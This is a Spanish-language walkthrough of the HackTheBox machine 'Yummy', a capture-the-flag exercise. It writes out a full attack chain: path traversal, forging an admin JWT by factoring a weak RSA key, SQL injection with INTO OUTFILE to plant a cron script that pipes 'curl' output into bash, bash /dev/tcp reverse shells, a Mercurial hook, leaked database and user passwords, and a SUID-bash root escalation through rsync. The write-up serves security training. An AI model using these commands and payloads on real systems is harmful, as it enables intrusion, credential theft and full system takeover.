write up Yummy HTB
Yummy empieza como una página web para hacer reservas en restaurantes. Voy a explotar una vulnerabilidad de cruce de directorios en la función que genera los archivos de invitación al calendario para leer archivos del sistema, consiguiendo así acceso al código fuente del sitio web y a los crons que se están ejecutando. Descifraré la clave RSA utilizada para firmar las cookies JWT y así obtener acceso de administrador. Luego, aprovecharé una inyección SQL para escribir un script que será ejecutado por los crons.
Después, abusaré de otro cron para obtener acceso como el usuario www-data, que tiene permisos sobre un repositorio Mercurial (similar a Git). Allí, revisaré commits antiguos para encontrar las credenciales de otro usuario. Con este nuevo acceso, podré escribir un hook en Mercurial para pivotar de nuevo.
Este usuario puede ejecutar rsync como root, lo que me permitirá completar la máquina.
En Beyond Root, analizaré el código fuente en Python del sitio para entender su comportamiento, además de revisar las configuraciones erróneas que permitieron escribir archivos a través de MySQL, incluyendo ajustes en MySQL y AppArmor.
como siempre empezamos con los escaneos de nmap
nmap -p- --open --min-rate 5000 -sT -n -Pn -vvv 10.10.11.36 -oG allports
nmap -sVC -p22,80 10.10.11.36 -oN ports
si hacemos un whatweb vemos lo siguiente
si vamos a la pagina web veremos lo siguiente
al fondo vemos un sitio para reservar una mesa pero sin mas si hacemos un fuzzing con disearch por ejemplo encontramos lo siguiente
dirsearch -u "http://yummy.htb" -t 50 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
vemos un panel de regitro vamos a el
vale nos registramos y nos logeamos
y vemos una pantalla en negro queentiendo que sera si tengo reservciones
si pruebo a hacer una reservacion poniendo los datos de la cuenta
si volvemos a donde estava en negro ahora apararece esto
si ahora abrimos burpsuite y capturamos la peticion cuando le damos a salvar el calendario
ahora cemos un forward por que esta no me interesa
ahora vemos que esta apuntando a un directorio llamdo export, elcual esta mal echo proque podemos apntar a otros archivos de la mquina como las tareas cron
GET /export/../../../../../etc/crontab HTTP/1.1
![[Pasted image 20250107180007.png]]
vemos las tareas cron y algo mas
3 archivos que son importantes
en el backup si nos lo bajamos encontramos el siguiente script:
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib
app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
access_token = ''
@app.route('/login', methods=['GET','POST'])
def login():
global access_token
if request.method == 'GET':
return render_template('login.html', message=None)
elif request.method == 'POST':
email = request.json.get('email')
password = request.json.get('password')
password2 = hashlib.sha256(password.encode()).hexdigest()
if not email or not password:
return jsonify(message="email or password is missing"), 400
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s AND password=%s"
cursor.execute(sql, (email, password2))
user = cursor.fetchone()
if user:
payload = {
'email': email,
'role': user['role_id'],
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
}
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
response = make_response(jsonify(access_token=access_token), 200)
response.set_cookie('X-AUTH-Token', access_token)
return response
else:
return jsonify(message="Invalid email or password"), 401
finally:
connection.close()
@app.route('/logout', methods=['GET'])
def logout():
response = make_response(redirect('/login'))
response.set_cookie('X-AUTH-Token', '')
return response
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html', message=None)
elif request.method == 'POST':
role_id = 'customer_' + secrets.token_hex(4)
email = request.json.get('email')
password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
if not email or not password:
return jsonify(error="email or password is missing"), 400
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s"
cursor.execute(sql, (email,))
existing_user = cursor.fetchone()
if existing_user:
return jsonify(error="Email already exists"), 400
else:
sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
cursor.execute(sql, (email, password, role_id))
connection.commit()
return jsonify(message="User registered successfully"), 201
finally:
connection.close()
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/book', methods=['GET', 'POST'])
def export():
if request.method == 'POST':
try:
name = request.form['name']
date = request.form['date']
time = request.form['time']
email = request.form['email']
num_people = request.form['people']
message = request.form['message']
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
connection.commit()
flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')
except Exception as e:
print(e)
return redirect('/#book-a-table')
except ValueError:
flash('Error processing your request. Please try again.', 'error')
return render_template('index.html')
def generate_ics_file(name, date, time, email, num_people, message):
global temp_dir
temp_dir = tempfile.mkdtemp()
current_date_time = datetime.now()
formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")
cal = Calendar()
event = Event()
event.name = name
event.begin = datetime.strptime(date, "%Y-%m-%d")
event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
cal.events.add(event)
temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
with open(temp_file_path, 'w') as fp:
fp.write(cal.serialize())
return os.path.basename(temp_file_path)
@app.route('/export/<path:filename>')
def export_file(filename):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
filepath = os.path.join(temp_dir, filename)
if os.path.exists(filepath):
content = send_file(filepath, as_attachment=True)
shutil.rmtree(temp_dir)
return content
else:
shutil.rmtree(temp_dir)
return "File not found", 404
def validate_login():
try:
(email, current_role), status_code = verify_token()
if email and status_code == 200 and current_role == "administrator":
return current_role
elif email and status_code == 200:
return email
else:
raise Exception("Invalid token")
except Exception as e:
return None
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
return redirect(url_for('admindashboard'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
finally:
connection.close()
return render_template('dashboard.html', appointments=appointments_sorted)
@app.route('/delete/<appointID>')
def delete_file(appointID):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "DELETE FROM appointments where appointment_id= %s;"
cursor.execute(sql, (appointID,))
connection.commit()
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
finally:
connection.close()
flash("Reservation deleted successfully","success")
return redirect(url_for("admindashboard"))
else:
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
cursor.execute(sql, (appointID, validation))
connection.commit()
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
finally:
connection.close()
flash("Reservation deleted successfully","success")
return redirect(url_for("dashboard"))
flash("Something went wrong!","error")
return redirect(url_for("dashboard"))
@app.route('/reminder/<appointID>')
def reminder_file(appointID):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
result = cursor.execute(sql, (validation, appointID))
if result != 0:
connection.commit()
appointments = cursor.fetchone()
filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
connection.close()
flash("Reservation downloaded successfully","success")
return redirect(url_for('export_file', filename=filename))
else:
flash("Something went wrong!","error")
except:
flash("Something went wrong!","error")
return redirect(url_for("dashboard"))
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))
try:
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
return render_template('admindashboard.html', appointments=appointments)
except Exception as e:
flash(str(e), 'error')
return render_template('admindashboard.html', appointments=appointments)
if __name__ == '__main__':
app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)
nos da una pista de como se hacen los jwt
y si le añadimos este archivo python
ya podemos crear nuestro jwt de admin
con el siguiente script
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Tu token JWT original
token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJyb2xlIjoiY3VzdG9tZXJfMTU1ODU3MDAiLCJpYXQiOjE3MzYyNjY0NTUsImV4cCI6MTczNjI3MDA1NSwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiI5MjY3Mjk3MzQ2ODkyOTg3ODc4MDMxNTg4MTc4OTUyNTQ5NDYyNjg2NjQ4NjU5NzYyMjk4NTA4NzU5NDQ2NDQ1NDkwNDE3ODc0MzU4MDc3NjA3MzI4OTQ2MzkxMDQ2MzIzODA4MTAyMjI5ODgyNTgzMjIzNDQ2NzA2Mzc3Njg5MDEyMDgzNzQyMDE5MTUyMDg4Mzc1NTg0MTU0Nzc4MzgyMTA0ODY4MDkyMzY3MzY2NjM5MzU5MDEwMTU3MTk3NDg4OTE4Mjc3MjY3ODc4MzUzMjk2MDIyNTc2NDA5OTEwNTIwNTQwMjI4MzU0NjgxMzE2MDk2OTY1NDkxNjQ4ODc3OTI5NDkyODEzMTgyOTA0NjkwNzIyMzc1MTY2MjA4MDEzNDEwODM4OTQzNDIxNjk2NjAwOTgxMjI4MSIsImUiOjY1NTM3fX0.BlblmPBtcqlgBLChODFZ1ni_p4gfGV14r2isXdr1DpLpLnOytKR2u3lVNDwd7jfdJcn7pDwzQiv_rRqy6HCa-HyWySu8O9EuUCeBXqZYFhK6kIPvJMG0KbX7PnA9hoUAndEdQmh7ndu3xk0RWg58WwZgwW8N0nPKWLZJoyb1OCr_MoE"
# Decodificar el payload del JWT (sin verificar la firma)
header_b64, payload_b64, signature_b64 = token.split(".")
# Decodificar el payload base64 URL-safe
decoded_payload = base64.urlsafe_b64decode(payload_b64 + "==").decode('utf-8')
data = json.loads(decoded_payload)
print("Payload decodificado:", data)
# Modificar el payload (por ejemplo, agregar el rol)
data["role"] = "administrator"
# Clave RSA (se asume que tienes el valor de la clave pública y privada)
# Decodificando la clave pública RSA que viene en el JWT
n = int(data['jwk']['n'])
e = 65537 # Exponente común
# Factorizar n para obtener p y q
p, q = list(sympy.factorint(n).keys())
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
# Crear la clave privada RSA usando p, q, d, y otros parámetros
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
# Exportar la clave privada a formato PEM
private_key_bytes = key.export_key()
# Convertir la clave privada a formato PEM (como bytes)
private_key_pem = private_key_bytes.decode("utf-8")
# Codificar el nuevo token con la clave privada utilizando RS256
new_token = jwt.encode(data, private_key_pem, algorithm="RS256")
print("Nuevo token JWT:", new_token)
si lo ejecutamos
nos jenera el nuevo jwt que si lo pegamos en el apartado de cookies de seion y recargamos la pagina
ganamos acceso a admindhasvoart
ahora como dato curioso hay un sqli pero no es necesario porque realmente no consigues nada si en el panel de busqueda pones algo hace de esta forma la busqueda http://yummy.htb/admindashboard?s=dwadaw&o=ASC
pues en ASC hay un sqli si hacemos yummy.htb/admindashboard?s=fwfw&o=ASC union selec 1,2,3;
confirmamos las sopechas y si despues hacemos http://yummy.htb/admindashboard?s=edu&o=ASC;select extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name=’users’))) ![[Pasted image 20250107182105.png]]
y vemos las tablas pero mas de aqui no podemos ir por desgracia
volviendo a la parte correcta. si vemos las tareas cron veremos que hay un archivo dbmonitor.sh que lo que hace es una tarea de mysql
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
hay una sentencia else que hace si dbstatus.json sale y no incluye el texto database is down, borra el archivo .json y ejecuta el primer archivo fixer-v en /data/scripts.
por lo que debemos adelantarnos para ello vamos a usar las siguientes url http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+”pwned”+INTO+OUTFILE++’/data/scripts/dbstatus.json’+%3b http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+”curl+10.10.15.7:8000/shell.sh+|bash%3b”+INTO+OUTFILE++’/data/scripts/fixer-v___’+%3b
nos ponemos un sever python con la shell y en ecucha con netcat y pasado un rato
└──╼ $ nc -lvnp 9001
listening on [any] 9001 ... connect to [10.10.15.7] from (UNKNOWN) [10.129.231.153] 33738 bash: cannot set terminal process group (6088): Inappropriate ioctl for device bash: no job control in this shell
mysql@yummy:/var/spool/cron$
una vez dentro tenemos que salir
esto es casi igual que lo que acabamos de hacer si recordamos avia un archivo app_backup.sh en las cron
pues es tan simple como remplazar ese archivo con la shell que emos usado
y una vez echo
└──╼ $ nc -lvnp 1234
listening on [any] 1234 ... connect to [10.10.15.7] from (UNKNOWN) [10.129.231.153] 42840 bash: cannot set terminal process group (8504): Inappropriate ioctl for device bash: no job control in this shell
www-data@yummy:~$
una ve aqui hay dosa casos o lipheas.sh te da la password (LIT me la dio la primera vez que lo hice) pero la forma real seria la siguiente
vamos a ver un directorio .hg en el cual hay una serie de directorios si hacemos
cat store/data/app.py.i cat store/data/app.py.i
``www-data@yummy:~/app-qatesting/.hg$ cat store/data/app.py.i cat store/data/app.py.i !_ qn l * ! E K 0v K( / `_ MOj_ + =L 3R Zk QL {2 d\WQP] d |(^ 7 o h 忩[ U[ = ! ~ 33 R" , .Ah z x R _ Y֓nS s Ч . . . . E1( / $ &'app.secret_key = s.token_hex(32) &u'cT sql = f"SELECT * FROM appointments WHERE_email LIKE %s" ɕp= E( ##md5 P +v Kw9 'user': 'chef', 'password': '3wDo7gSRZIwIHRxZ!', EJ* uY 0 +2ܩ-]% ( ( / `O <.` 6 ߽ } v v @P D 2ӕ _ B Mu;G .-1 D kk Y益H ΣVps K a 0 VW ;h B ;ó~z q { +>= O_ q6 "V˺&f * T㔇D 퍂 @ V([Q ̋G φ >GQ$ D ,3 eJoH|j ) (yh] 6 ~Z [hY w 4L { ] ߚ D f : s) } 3 ZШ ݆{S? m *H چ V3 Y ( ] L S eE 6K 6 'user': 'qa', 'password': 'jPAd!XQCtn8Oc@2B', &E& & '#' ' Y d | p$bJJKx8 D'<a Z byh U v ] 厒 4 www-data@yummy:~/app-qatesting/.hg$``
root
si hacemos un sudo -l vemos lo siguiente
podemos ejecutar /usr/bin/hg como Dev li cual es interesante
/usr/bin/hg es un sistema de control de versiones similar a git que permite extraer o copiar archivos y repos. Ambos programas utilizan ganchos para desencadenar ciertos eventos después de extraer, confirmar y actualizar. Usando estos hooks podemos ejecutar un script después de que el pull esté hecho. Primero se necesita un archivo de configuración .hgrc para ejecutar un hook. Usemos el .hgrc en /home/qa/ y agreguemos la siguiente línea hooks\npost-pull = /tmp/shell.sh.
/usr/bin/hg config -l
cd /tmp
hg init
hg config -l
echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.15.7/443 0>&1"' > /tmp/evil.sh
chmod +x /tmp/evil.sh
chmod -R 777 .hg
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
nos ponemos en escucha con netcat y ganaremos shell
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.15.7] 58430
I'm out of office until November 3th, don't call me
dev@yummy:/tmp$ whoami
whoami
dev
una vez como dev si hacemos un sudo -l veremos que tenemos permiso SUID sobre:
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
En esencia, este comando nos permite copiar archivos, de manera recursiva, desde el directorio /home/dev/app/production/*
en el directorio /opt/app
(excluyendo archivos .hg
).
que podemos hacer. podemos hacernos una copia de bin/bash la cual se SUID y propiedad de root
cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p
whoami
root
y funciono